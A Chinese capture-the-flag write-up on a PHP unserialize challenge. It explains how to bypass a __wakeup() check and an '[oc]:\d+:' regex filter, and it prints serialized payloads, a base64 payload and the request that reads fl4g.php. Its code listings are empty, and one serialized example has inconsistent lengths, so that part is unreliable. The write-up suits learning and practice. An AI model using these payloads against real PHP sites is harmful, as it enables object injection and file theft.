函数wakeup()漏洞,函数destruct绕,’/[oc]:\d+:/i’正则过滤。
代码审计
进入靶场,审计源码:
1 | <?php |
函数__wakeup()
函数wakeup()触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得wakeup失效。(web1中有详细讲解)
构造函数construct()、析构函数__destruct()
对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的
析构函数析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
‘/[oc]:\d+:/i’绕过
正则匹配’/[oc]:\d+:/i’用来过滤object类型
将类Demo反序列化:
1 | "O:4:"Demo":1:{s:11:"index.php";s:8:"fl4g.php“;}" |
通过 O:14 -> O:+14 完成正则匹配绕过
通过调整对象属性个数数值,绕过__wakeup()
1 | "O:+4:"Demo":2:{s:11:"index.php";s:8:"fl4g.php“;}" |
构造palyload
Playload 1
1 | <?php |
Palyload 2
1 | <?php |
输出结果为
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
访问
/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
访问到fl4g.php的内容,得到flag